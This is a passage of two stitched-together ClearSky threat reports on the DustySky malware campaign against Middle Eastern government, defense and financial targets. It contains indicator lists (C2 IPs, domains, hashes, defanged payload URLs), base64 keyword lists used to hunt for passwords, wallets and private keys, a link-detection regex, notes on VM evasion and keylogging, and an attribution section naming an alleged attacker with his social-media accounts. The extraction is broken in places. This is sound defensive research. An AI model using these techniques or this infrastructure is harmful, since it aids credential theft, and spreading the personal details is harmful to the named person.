+Targeting in arabic +Below are examples of a document and a malicious email, targeting Arabic speaking victims. +(Summary daily intelligence report) +.exe +(The true story behind the death of the leader Farid Ismail in Scorpio prison) +When targeting Arab-speaking counties, most targets are in Egypt, Saudi Arabia, The Palestinian authority +and United Arab Emirates. +We have learned of more than 150 targets in these countries when investigating a breached email account +used by the attackers to send further malicious emails. +About 60% of targeted the email addresses where Gmail, Hotmail and Yahoo accounts. The rest of the email +accounts were in organizations - both private and governmental. +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 9 of 26 +We searched for information about the targets in order to learn the interests of the attackers. Below are +examples of targeted individuals and organizations: +Several diplomats and employees of the ministry of foreign affairs in Egypt (20 emails addresses at +mfa.gov.eg, investment.gov.eg and other offices). +Egypt +s Ambassador in the Ukraine, Counsellor of Permanent Mission of Egypt to the United Nations, +the Egyptian Embassy in New Zealand, and Egyptian Embassy in Pakistan. +An individual at the prime minister's office at the Palestinian Authority (both his Gmail account and +an account under pmo.pna.ps). +A senior official at the Birzeit University in the Palestinian Authority. +A consultant at West Bank and Gaza Group, The World Bank (worldbank.org). +Israeli banks. +Israeli military and defense companies. +Ministry of Foreign Affairs of Saudi Arabia (2 email addresses at mofa.gov.ae). +Ministry of Foreign Affairs of United Arab Emirates (2 email addresses at mofa.gov.sa). +A banks in Dubai and Abu Dhabi, United Arab Emirates. +A Lobbying organizations in the UK. +Former politician in the UK. +A diplomat the European Commission (ec.europa.eu). +The Royal Hashemite Court in Jordan (rhc.jo). +An employee at the U.S. Department of State (state.gov). +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 10 of 26 +What are they after? +The malware scans the computer for files that contain certain keywords. The list of keywords, in base64 +format, is retrieved from the command and control server as a text file. For example: +These words indicate what information the attackers are after - information pertaining to homeland security +and military issues; personal documents; credentials, certificates and private keys. +Below are keywords that have been used in the recent campaigns: +Baste64 +Decoded +ZW1haWxz +Emails +YWNjb3VudHM= +Accounts +Yml0Y29pbg== +Bitcoin +Y3YuZG9j +cv.doc +Y3YucGRm +cv.pdf +TG9naW4gRGF0YQ== +Login Data +S2V5V29yZA== +KeyWord +LndhbGxldA== +.wallet +LnBmeA== +.pfx +Lm92cG4= +.ovpn +dXNlcnMgbmFtZSBhbmQgcGFzc3dvcmQ= +English translation +users name and password +dG9yLmRvYw== +tor.doc +cGFzc3dvcmRz +passwords +cGF5cGFs +paypal +bG9naW5zLg== +logins. +bG9naW5z +logins +aWQucGRm +id.pdf +aWQuanBn +id.jpg +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 11 of 26 +Intelligence +2YXYrdi22LEg2KfYrNiq2YXYp9i5 +meeting protocol +2YPZhNmF2KfYqiDZhdix2YjYsQ== +passwords +2YPZhNmF2KfYqiDYs9ix +passwords +2YPZhNmF2KfYqiDYp9mE2YXYsdmI2LE= +the passwords +2YPZhNmF2KfYqiDYp9mE2LPYsQ== +the passwords +2YPZhNmF2KfYqiDYp9mE2LPYsQ== +the passwords +2YLYp9i52K/YqSDYqNmK2KfZhtin2Ko= +Database +2YXYrtin2KjYsdin2Kog +document +2LPZitiq2Kcg +SITA (www.sita.aero) +2LnYs9mD2LHZiiA= +military +defense or security related +the emails +2YjYq9mK2YLYqQ== +2LPZitix2Kkg2LDYp9iq2YrYqQ== +2KPZhdmG2Yog +2KfZhNil2YrZhdmK2YTYp9iq +2KfYs9iq2K7YqNin2LHYp9iq +16rXldeb16DXmdeV16og16bXkdeQ15nXlde +16rXldeb16DXmdeV16o= +intelligence +military plans +plans +Shabak (Israel Security Agency) +prime minister +16HXmdeh157XkNeV16o= +passwords +16HXmdeh157XkA== +password +16HXldeTLg== +secret +combat sea ports +16bXkdeQ15nXldeq +military related +16bXkdeQ15k= +15TXldeT16LXldeq +military related +messages +special forces unit +16nXkScn15s= +16jXkNepINeU157Xntep15zXlA== +16DXntec15nXnSDXp9eo15HXmded +15nXl9eZ15PXlCAg157XmdeV15fXk9eq +15jXmdeh15nXnQ== +pilots +15HXmdeY15fXldeg15nXnQ== +Defense and security related +15DXkdeY15fXlA== +security +157XqdeqJyfXpA== +collaborator (a person who cooperates +with the enemy) +ministry of internal affairs +157XoNeU16jXldeq +tunnels +157XoNeU16jXlA== +tunnel +157Xlicn15zXmA== +drone +157XldeT16LXmdef +intelligence +157XldeT15nXoteZ158= +intelligence +157Xldeh15Mg +Mossad +157Xqdeo15Mg15TXpNeg15nXnQ== +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 12 of 26 +Infrastructure +As in previous cases, the attackers still serve copied content on IPs, domains and hosts they control. For +example, one of the command and control servers, mafy.2waky[.]com, serves content copied from a +legitimate unrelated website - radaronline.com. The copied content is probably there just to confuse +suspecting targets and security researchers. +In other cases, the visitor was redirected via HTTP 301 response to a legitimate unrelated website www.onlinepcsupport.co.uk. +Key C2 and delivery servers +The attackers have been using IP address 192.52.167.118 since the beginning of January. In the Heat map +below, we can see that new hosts/domains (marked by orange triangle) have pointed to it during JanuaryFebruary and again in May. +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 13 of 26 +Source: https://www.passivetotal.org/passive/192.52.167.118 +IP address 204.152.203.99 is newer and has been in use since May: +Source: https://www.passivetotal.org/passive/204.152.203.99 +Below are the active IPs used for command and control or for delivery: +ASN and Hosting provider +204.152.203.99 +United States Los Angeles Graeme Tee, QuadraNet +192.161.48.59 +United States Los Angeles Graeme Tee, QuadraNet +192.52.167.118 +United States Burns Crowncloud Us Llc, Crowncloud US LLC +185.82.202.207 +Netherlands Amsterdam Host Sailor Ltd. +173.254.236.130 +United States Los Angeles Graeme Tee, QuadraNet, Inc +168.235.86.156 +United States Macon Ramnode Llc +167.160.36.101 +United States Lewes Gwy It Pty Ltd, Web2Objects LLC +107.191.47.42 +United States Tampa Vultr Holdings Llc, Choopa, LLC +84.200.68.163 +Germany Freinsheim Ip Projects, IP-Projects GmbH & Co. KG +72.11.148.147 +United States Los Angeles QuadraNet Inc +23.229.3.70 +Turkey Istanbul Turkrdns.com, B2 Net Solutions Inc +Further indicators are provided in Appendix A. +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 14 of 26 +Threat Actor and Attribution +The DustySky campaign has been going on for over a year, with more than 120 command and control +hostnames, and dozens of known unique malware samples. However, it has not been technologically +advanced, and the infrastructure and attacks have not been operated professionally. +Open directories were often left on delivery servers. Traces were left on infected systems and abused email +accounts. Malware delivery was often predictable, contained spelling mistakes or even irrelevant lure +documents, and were easy to identify. Most importantly, the attacker forgot to cover his trails, enabling us +to learn his identity. +Threat actor +In the beginning of December 2015, three samples were submitted to online malware detection and analysis +platforms malwr.com and Virus Total. The samples were Word documents with a macro version of DustySky. +They were submitted on the same date they were last saved. +The person who last saved the documents (after weaponizing them with the malicious macro) forgot to clear +the file metadata. Thus, the +Last Saved By + properties of the documents contained his username: +moayy2ad@hotmail.com +The images below display this username in the samples metadata: +Invoice details.doc (b1071ab4c3ef255c6ec95628744cfd3d), uploaded on 3 December 20154 +and Invoice-Complete.doc (77d6e2068bb3367b1a46472b56063f10) uploaded on 2 December 20155 +https://malwr.com/analysis/Yjc4YjVjYmNjYzVjNGE2MzhkMTc1OWJjMjdjNjExNWU/ +https://malwr.com/analysis/NmU4MjcxYjYwZmQ1NDk4YmI5NjI3MDMzMDM2N2E1ZTY/ +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 15 of 26 +Google-Privacy.doc (9c60fadece6ea770e2c1814ac4b3ae74) uploaded to VirusTotal on 3 December 20156 +Who is moayy2ad@hotmail.com +The unique username moayy2ad enabled us to find plenty of information on the attacker. Googling for +moayy2ad@hotmail.com led the following blog7, which has been removed in the months after we published +the first report: +https://www.virustotal.com/en/file/f96f07288039ebabb8d837043f06f8f1445ed4484023353e1111a40ac4f25fd8/analysis/ +mrayesh.blogspot[.]com +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 16 of 26 +The blog was created by mo +ayyad on Blogger, who is also using the name mo +ayy. This profile has been +made private following our publication. +Searching for the same username in Gmail (moayy2ad@gmail.com) yielded further results. A Google+ profile8 +with a similar nickname +ay - was connected to this address. The profile has also been disabled in the months +after we published the first report. +https://plus.google.com/u/1/115033746922297164649 +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 17 of 26 +The owner of the Gmail account has developed a flashlight app9. In the app +s page we learn that he uses the +name Mo'ayyad Ay and that he is from Gaza +In the YouTube channel10 linked to moayy2ad@gmail.com (which, like the other accounts, has been made +private later), the individual has uploaded anti-Israeli propaganda videos: +https://play.google.com/store/apps/details?id=org.moayyad.aye.flash.app&hl=en +https://www.youtube.com/user/1quds/feed +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 18 of 26 +According to the videos he watched it seems that he was learning development and hacking skills over the +past few years: +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 19 of 26 +Similarly, we found his Twitter account11 (also disabled) full name Moayyad Ayesh and Facebook account12 +https://twitter.com/MoayyadAyesh +https://www.facebook.com/profile.php?id=100012034095150 +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 20 of 26 +We also found this cached chat in Tor based chat service in which moayy2ad is talking about +israil bnk +acounts" (we do not have the rest of the conversation). +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 21 of 26 +The Gmail address is connected to a Facebook account, probably of a fake identity - Montaser Ali +(https://www.facebook[.]com/montaser.ali.338). +The profile says that the actor resides in Nablus, and that he is a member of a group called +Rebellion +West-Bank +Contacting ClearSky +In the first DustySky report, we mentioned we know the identity of the attacker, but have decided not to +reveal it. Consequently, the attacker contacted us, trying to learn what we know about him. +By Email +Eleven days after we publicly published +Operation DustySky +, we received the following email +https://www.facebook.com/%D8%AA%D9%85%D8%B1%D8%AF-%D8%A7%D9%84%D8%B6%D9%81%D8%A9%D8%A7%D9%84%D8%BA%D8%B1%D8%A8%D9%8A%D8%A9-542062199177072/ +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 22 of 26 +We immediately recognized the email as a fake + coming from an unofficial address - idf.cyber@gmail.com +and written in English. +The email, allegedly sent by the +Israeli Defense Force cyber team +, asked for undisclosed information we +had about the culprit behind DustySky (the email referred to a statement in the first report in which we +wrote that +we have decided not to disclose this individual +s name in the public report +By phone +Few days later, we were contacted again, this time by phone. The caller pretended to be an official in one of +the effected countries mentioned in the report. Similarly, he asked for further information about the identity +of the attacker. We asked the caller to send his request via email. Corroborating the provided contact +information, we learned that this was also a fake. +In both cases, we did not send any information to the attackers. However, we used the new leads to deepen +the investigation. +Below is the email we received: +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 23 of 26 +Appendix A + Indicators +Type +indicator +comments +AV detection +Win.Trojan.DustySky +AV detection +Trojan.Dustky +AV detection +Trojan.MSIL.Musik +domain +education-support.space +domain +falcondefender.com +domain +support-update.ml +domain +such.market +hostname +support.mafy-koren.online +hostname +mafy.2waky.com +hostname +smail.otzo.com +hostname +ad.education-support.space +hostname +info.education-support.space +hostname +support.servecounterstrike.com +hostname +reme.otzo.com +hostname +supports.esmtp.biz +hostname +news.cloudns.cc +hostname +speed.ns01.biz +hostname +space.support-reg.space +hostname +mo.mefound.com +hostname +support.read-books.org +hostname +supports.3utilities.com +84.200.68.163 +23.229.3.70 +204.152.203.99 +192.52.167.118 +168.235.86.156 +167.160.36.101 +sender +"Free Movies" +sender +"IDF Survey Research Center.." +sender +avynorton@gmail.com +59bab785127418972dda9da5571b73fd +07dae7dada9ec3fa22507dfa5921c993 +4bd6a959cce13d1f5b5511a428e88c9c +2ba0e52b885cabfbcd88866ab4072f54 +1d922e183418ac087933c526f7bd06c1 +3ce39f8afce9463c6d90c00ce72edb86 +77fd78042407a7318dba388da00700cc +delivery +email source address +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 24 of 26 +a5b3fb5119fad72ac321d8d6416b6b92 +30b843343590518e7b62c5f6db394bc2 +2a654ecb26664013d8e2369fe9c0b565 +b11b7b7b5bd80779dd885628d65e02e5 +Folder.exe +cc24cd17fa93fce7ea1128edeb9ee40b +Drops +b11b7b7b5bd80779dd885628d65e02e5 +5e906ccb3b67131e4771ca72609c0648 +ad5531b085ef005ee12319e88fb8f674 +2f5397ad6205ab4463e6e3be9aba4efe +0ae4345213cad388dbe38e2acda1a489 +28a5e9b2ef5cfd2edb7f31d3da9a5a15 +8655af063090ef192a7f1e0c05c7883f +6e66ed5d8c7d4ca9c2e96f2cc045eb94 +d01848a20e0f5c4a7a7243bb98a7b26c +923844dfc3d5b21f288df9beaa958baf +639d768d575c45372ea707ed89423f36 +b4ab538f592082373e9ab96373561713 +cleaned.exe +b85c17f92629fec41502b44cf86ba859 +1.exe +6f08808d0be510698563d3b0443fe5a4 +New.exe +b8c6c8eeb9a18b1d4632bc8191db5517 +Folder.exe +ddff0a7643f4ff2fe777e768e7bae004 +log file.exe +2395c798ca8628e735ac2d8d274cd230 +bc6baf7a1d420d226a7a157b412a51d9 +8ba38899a6446366724d98761dd10d46 +d538e50df25e30f3c4252ce523507d23 +a50da199db97abb2dfd6fd62b5a00f02 +2a1884bdab940ea66b28599245e79fa9 +2f30034885045bae4a201bf6b3913b54 +23c3f3e93ea2ffe704abb602d04588c0 +b8c6c8eeb9a18b1d4632bc8191db5517 +e5500274853f77be6ffba610dac2cae4 +ffa1bdc105013e1cbb00483b412b98b8 +0264076c190af6e1176e1abff47d1ae8 +02ef03bd5e6dbf9c03e8504c9e797abd +Name D:\IL\Working Tools\2016-04-23 NeD Ver 9 Ran Il 192.52.167.118\NeD Download and execute Version 1 Doc\bin\Release\Obfuscated\News.pdb +http://bit[.]ly/1YRoIPX +drops +ad5531b085ef005ee12319e88fb8f674 +Updata.exe +http://smail.otzo[.]com/W/Gfsdfsdfsrydkfpsdmfpsadsdfsdf +sdfsdfdfsp.php +http://smail.otzo[.]com/y/analysis--hezbollah.rar +https://drive.google[.]com/uc?export=download&id= +0B7XzN8DNbJKiQlFNRHdVTmpCd0U +https://drive.google[.]com/uc?export=download&id=0Bxa +UrWGCqlWLMTQzMVFNOENIUFk +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 25 of 26 +https://drive.google[.]com/uc?export=download&id=0B7n +4BFDObRocdm1uS2J4SWVUNWc +http://drive.google[.]com/uc?export=download&id=0ByjYV +MTYJB0saHlTalJ6ZWlWWGM +support.mafy-koren[.]online/reg-update +support.mafy-koren[.]online/UFeed.php +filename +Israel's Cellebrite linked to FBI's iPhone hack attempt.exe +filename +Report-Photos.rar +filename +Analysis--Hezbollah.rar +filename +Report.rar +exe. +filename +filename +Logs.exe +filename +filename +Analysis and estimates (Dahlan) heads of state next +Palestine.exe +Report-Palestinian-President.rar +filename +Folder.lnk +filename +Folder.exe +in \Startup\ +exe. +filename +filename +filename +Intelligence Report Israel +s strategic position has +improved.exe +Updata.lnk +in \Startup\ +exe. +filename +filename +Office 2016.exe +filename +edikvlxhprg.lnk +in \Startup\ +filename +edikvlxhprg.exe +in \Startup\ +filename +plugin.exe +filename +Fared-Ismael.rar +filename +exe. +filename +cleaned.exe +filename +cbkp1vpsv1y.exe +filename +jnpqmri1aus.exe +filename +gzch5y2cyne.exe +filename +retn0gzbksd.lnk +in \Startup\ +filename +pktkvkgj4bl.lnk +in \Startup\ +filename +filename +Intelligence agencies succeeding in penetrating +Hezbollah.exe +exe. +Intelligence Report Israel +s strategic position has +improved.exe +exe. +x509 fingerprint +cadd3141e42227c0a30aa58ab3ca9fa91384f4c7 +SSL communication with C2 +x509 fingerprint +9fb60ae410cf8e7739535aaa9771edd781f766d3 +SSL communication with C2 +x509 fingerprint +0387ac82a3eabd3ffc48a73cc440e02ce3018bc8 +SSL communication with C2 +x509 fingerprint +9fb60ae410cf8e7739535aaa9771edd781f766d3 +SSL communication with C2 +filename +filename +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 26 of 26 +January +2016 +Operation DustySky +Clearsky +clearskysec.com/dustysky +TLP:White +For public distribution +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 1of 42 +Contents +Foreword ..............................................................................................................................................................3 +Acknowledgments .......................................................................................................................................3 +Tactics, Techniques and Procedures ....................................................................................................................4 +Delivery ........................................................................................................................................................4 +Lure content and sender identity ................................................................................................................5 +Phishing ........................................................................................................................................................6 +Attacks against software developers ...........................................................................................................7 +Post infection ...................................................................................................................................................9 +Abusing breached email account...............................................................................................................11 +Malware analysis ................................................................................................................................................12 +DustySky dropper.......................................................................................................................................12 +DustySky core.............................................................................................................................................14 +DustySky keylogging component ...............................................................................................................15 +pdb analysis ...............................................................................................................................................15 +Command and control communication..............................................................................................................16 +Traffic examples .........................................................................................................................................16 +SSL and digital certificates .........................................................................................................................17 +Infrastructure .............................................................................................................................................20 +Threat actor and Attribution ..............................................................................................................................23 +Infrastructure overlap ................................................................................................................................23 +Gaza Strip origins .......................................................................................................................................23 +Similar TTPs ................................................................................................................................................24 +Individuals ..................................................................................................................................................24 +Appendix A - Malicious email messages and lures .............................................................................................25 +Appendix B - Indicators.......................................................................................................................................34 +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 2 of 42 +Foreword +DustySky (called +NeD Worm + by its developer) is a multi-stage malware in use since May 2015. It is in use by +the Molerats (aka Gaza cybergang), a politically motivated group whose main objective, we believe, is +intelligence gathering. Operating since 2012, the group's activity has been reported by Norman 1, +Kaspersky2,3, FireEye4, and PwC5. +This report revolves around a campaign that includes a new malware developed by a member of the group +or on behalf of the group. Based on dozens of known attacks and the vast infrastructure in use - we estimate +that a wave of targeted malicious email messages has been sent on a weekly basis. +These attacks are targeted, but not spear-phished. I.e., malicious email messages are sent to selected targets +rather than random mass distribution, but are not tailored specifically to each and every target. Dozens of +targets may receive the exact same message. The email message and the lure document are written in +Hebrew, Arabic or English - depending on the target audience. +Targeted sectors include governmental and diplomatic institutions, including embassies; companies from the +aerospace and defence Industries; financial institutions; journalists; software developers. +The attackers have been targeting software developers in general, using a fake website pretending to be a +legitimate iOS management software, and linking to it in an online freelancing marketplace. +Most targets are from the Middle East: Israel, Egypt, Saudi Arabia, United Arab Emirates and Iraq. The United +States and countries in Europe are targeted as well. +Acknowledgments +We would like to thank our colleagues for their ongoing information sharing and feedback, which have been +crucial for this research: security researcher Infra; PassiveTotal analyst team; Tom Lancaster of PwC; Team +Cymru; Security researcher Sebasti +n Garc +a; Menachem Perlman of LightCyber; Other security researchers +who wish to remain anonymous. +https://github.com/kbandla/APTnotes/blob/master/2012/Cyberattack_against_Israeli_and_Palestinian_targets.pdf +http://www.seculert.com/blog/2014/01/xtreme-rat-strikes-israeli-organizations-again.html +https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team +https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poisonivy.html +http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 3 of 42 +Tactics, Techniques and Procedures +Delivery +The attackers would usually send a malicious email message that either links to an archive file (RAR or ZIP +compressed) or has one attached to it. Below are malicious email messages that have been sent to multiple +targets on September and December 2015. +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 4 of 42 +The link may include these parameters: +Id - the ID of the current wave of malicious email messages, composed of a plaintext word, a plus +sign, and a number. For example: Rand+281 +token1 - same as id, but Base64 encoded +token2 - Base64 encoded email address of the target to which the malicious message was sent. +C - the word Click or openexe +The following regular expression matches the structure of malicious links: +\/[A-Za-z]+\.php\?((?:id|token1|token2|C)=[A-Za-z0-9\/=+%]*={0,2}&?){4} +For example: +spynews.otzo[.]com/20151104/Update.php?id=>redacted>&token1=>redacted>&token2=>redacted>&C=Cli +The archive contains an .exe file, sometimes disguised as a Microsoft Word file, a video, or another file +format, using the corresponding icon. For example: +Lure content and sender identity +If the victim extracts the archive and clicks the .exe file, the lure document or video are presented while the +computer is being infected with DustySky. +In recent samples the group used Microsoft Word files embed with a malicious macro, which would infect +the victim if enabled. Note, that these infection methods rely on social engineering - convincing the victim to +open the file (and enabling content if it is disabled) - and not on software vulnerabilities. +The subject line of the malicious email message, as well as the name and content of the lure document, are +usually related to recent events in diplomacy, defense, and politics. Sometimes lure topics are gossip or sex +related and might even include a pornographic video. In recent samples, fake invoices and a copy of the +public Google privacy policy were used. +The content of the lure document is always copied from a public news item or other web content, and is +never an original composition of the attackers. +The +from + field in malicious messages is usually set to be related to the lure document, such as +Latest +Israel news +Israeli Hot Stories +Israel Defense Forces +impersonates the Emirates +Policy Center organization6). +The center undertakes the task of foreseeing the future of region, regional and international policy trends and the +impact of different geopolitical projects on the region. It aims at providing strategic analysis, policy papers, studies, and +research to serve the decision makers at any institution or country in the region with a priority given to UAE. +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 5 of 42 +When linked from the malicious message, the malware would be hosted either on a cloud service (many +times in copy.com, a legitimate file hosting service), or on a server controlled by the attackers. +Phishing +When the malware is hosted on a server controlled by the attackers, the User-Agent string of the target +browser is checked when they click the malicious link. If the target is using Windows, DuskySky is served. If +the operating system is different than Windows, the target is served a Google, Microsoft, or Yahoo phishing +page: +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 6 of 42 +The source code of the phishing page is made up of a single JavaScript block, which at runtime decodes a +single variable into HTML: +After the victim fills in and sends the fake login form, they are redirected to a legitimate website. For +example, in one case the victim was redirected to a news item7 in the Israeli news website NRG. Only the +news item was old (from one year prior to the attack) and unrelated to the original subject of the malicious +email message. It was probably used in previous attacks, and the attackers did not care enough or forgot to +change it to a relevant one. +Attacks against software developers +IP address 45.32.13.169 and all the domains that are pointing to it8 host a webpage which is a copy of a +legitimate and unrelated software website - iMazing, an iOS management software. +Screenshot of fake website - imazing[.]ga on 45.32.13.169 +http://www.nrg.co.il/online/1/ART2/594/733.html +https://www.passivetotal.org/passive/45.32.13.169 +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 7 of 42 +Among the domains is a similar looking one - imazing[.]ga. +The source code of the fake website reveals that it was copied from the legitimate source on 22 October +2015: +The fake website, similarly to the legitimate one, offers visitors to download the iMazing software. However, +the version on the fake website is bundled with DustySky malware. Upon execution of the malicious version +(2f452e90c2f9b914543847ba2b431b9a) the legitimate iMazing is installed, while in the background +DustySky is dropped as a file named Plugin.exe (1d9612a869ad929bd4dd16131ddb133a), and executed: +Plugin.exe immediately starts communicating with its command and control sever using the hardcoded +address ns.suppoit[.]xyz and supo.mefound[.]com, both also pointing to above mentioned 45.32.13.169. +Interestingly, we found the fake domain imazing[.]ga mentioned in a job posting9 in the freelancers +marketplace website freelancer.com. In the posting, the attackers claim they are looking for someone to +https://www.cz.freelancer.com/projects/iPhone/Write-some-Software-8755699/ +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 8 of 42 +build +an application like that this website [sic] + and entice the viewer to +download application and take an +overlook [sic] + from imazing[.]ga and +Let me know if any idea is missing or +This behavior deviates from the attackers + usual pattern of sending malicious email to selected (albeit many) +individuals. It is unclear to us why they would go after random infections, but we can imagine various +reasons, such as access to computers which would be used as proxies for attacks, or access to licenses for +software owned by the victims. +Post infection +This section describes the actions performed by the attackers on infected computers we have investigated. +After infecting the computer, the attackers used both the capabilities of DustySky, and those of public +hacking tools they had subsequently downloaded to the computer. +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 9 of 42 +They took screenshots and a list of active processes in the computer, and sent them to their command and +control severs. They used BrowserPasswordDump10, a public and free-to-use tool that recovers passwords +saved in browsers. Below is the log file (empty in this case) that we recovered after the attackers had deleted +The malware would also scan the computer for files that contain certain keywords. The list of keywords, in +base64 format, is retrieved from the command and control as a text file. For example: +Below are the encoded strings from the above image, decoded and translated: +Base64 string +2YXYrtin2KjYsdin2Ko= +2KjYp9iz2KjZiNix2K/Yp9iq +Y3YuZG9j +157Xktei15nXnQ== +2LPZitix2Kkg2LDYp9iq2YrYqQ== +cGFzc3dvcmRz +16HXmdeh157XkNeV16o= +INeR15nXmNeX15XXnyDXpNeg15nXnQ== +d29ybQ== +bXljZXJ0 +LnBmeA== +Decoded +cv.doc +Passwords +worm +mycert +.pfx +English translation +Telecommunication +Password +cv.doc +Contacts +Resume +Passwords +Passwords +Homeland security +worm +mycert +.pfx +http://securityxploded.com/browser-password-dump.php +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 10 of 42 +These words teach us what the attackers are after: personal documents; credentials, certificates +and private keys; information pertaining to homeland security. +Abusing breached email account +In one case, the attackers used stolen email credentials and logged in from 96.44.156.201, potentially their +proxy or VPN endpoint. They also logged in from 5.101.140.118 , an IP address that belongs to a proxy +service called privatetunnel.com (in previous incidents, emails were sent from a nearby address 5.101.140.114). +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 11 of 42 +Malware analysis +DustySky (called NeD by its developer) is a multi-stage malware written in .NET. This chapter reviews its +functionality and main features. The sample analyzed is f589827c4cf94662544066b80bfda6ab from late +August 2015. It is composed of a DustySky dropper, DustySky core, and the DustySky keylogging component. +DustySky dropper +The DustySky dropper tries to evade running in a virtual machine. Once sure the computer is not a VM, it +extracts, runs and adds persistency to DustySky Core. It extracts basic information about the operating +system and checks for the existence of an Antivirus. It also extracts and opens the lure document. +The dropper's resources are two components that are dropped at run time. One is the lure document +(internally called +news +), which is presented to the victim once the dropper is executed. The other is +DustySky Core, a Trojan backdoor, (internally called +The dropper uses the following function to obfuscate the name of functions and other parts of the malware +(In later versions, SmartAssembly 6.9.0.114 .NET obfuscator was used): +So, for example, the following string: +Is encoded as: +For VM evasion the dropper checks whether there is a DLL that indicate that the malware is running in a +virtual machine (vboxmrxnp.dll and vmbusres.dll which indicate vitualbox and vmGuestlib.dll which indicates +vmware). +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 12 of 42 +If the dropper is indeed running in a virtual machine, it will open the lure document and stop its activity: +The dropper uses Windows Management Instrumentation11 to extract information about the operating +system and whether an antivirus is active. +DustySky Core is dropped to %TEMP% and runs using either cmd or the .NET interface. +https://msdn.microsoft.com/en-us/library/aa394582(v=vs.85).aspx +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 13 of 42 +A registry entry is created for persistency after computer restart: +DustySky core +DustySky Core is a Trojan backdoor and the main component of the malware. It communicates with the +command and control server, exfiltrates collected data, information and files, and receives and executes +commands. It has the following capabilities: +Collecting information about the OS version, running processes and installed software. +Searching for removable media and network drives, and duplicating itself into them. +Extracting other components (such as the keylogging component) or receiving them from the +command and control server, and running or removing them. +Evading virtual machines. +Turning the computer off or restarting it. +Making sure only a single instance of the malware is running. +The keylogging log file is uploaded to the server every 50 seconds. The files are uploaded via a POST request +to a URL that ends with key.php. +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 14 of 42 +DustySky keylogging component +One of the components contained in DustySky core is a keylogger (for example +15be036680c41f97dfac9201a7c51cfc). When ordered by the command and control server, the keylogger is +extracted and executed. Keylogging logs are saved to %TEMP%\temps . +pdb analysis +pdb strings in DustySky sample were structured as follows: +b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD +Worm\obj\x86\Release\MusicLogs.pdb +pdb strings from 23 samples are presented in +Appendix B - Indicators +. In the table below we present a +breakdown of folders and file names comprising the pdb strings, to reflect the ongoing development cycle of +DustySky since its first release in May 2015. +name +filename +date +version +campaign +NeD Download and execute Version 1 - Doc +News.pdb +2015-07-15 +meshal +NeD Download and execute Version 1 - Doc +News.pdb +2015-08-18 +501P +Fixed Dov +NeD Download and execute Version 1 - Doc +News.pdb +2015-10-27 +NSR ND +192.52.167.235 +NeD Download and execute Version 1 - Doc +News.pdb +2015-11-04 +192.52.167.235 +NeD Download and execute Version 1 - Doc +News.pdb +2015-12-27 +Rand +192.169.6.199 +NeD Download and execute Version 1 - Doc +News.pdb +2015-12-27 +Rand +192.169.6.199 +NeD Worm +MusicLogs.pdb +2015-10-21 +Random +192.161.48.59 +NeD Worm +MusicLogs.pdb +2015-10-27 +NSR ND +192.52.167.235 +NeD Worm +MusicLogs.pdb +2015-11-03 +Stay +107.191.47.42 +NeD Worm +MusicLogs.pdb +2015-11-04 +192.52.167.235 +NeD Worm +MusicLogs.pdb +2015-11-08 +mossad Track +192.161.48.59 +NeD Worm +MusicLogs.pdb +2015-11-12 +8SSl +192.161.48.59 +NeD Worm +MusicLogs.pdb +2015-11-14 +8SSl +Socks +167.160.36.14 +NeD Worm +MusicLogs.pdb +2015-11-17 +172.245.30.30 +NeD Worm +MusicLogs.pdb +2015-12-27 +Rand +192.169.6.199 +NeD Worm +MusicLogs.pdb +2015-12-29 +Stay jan 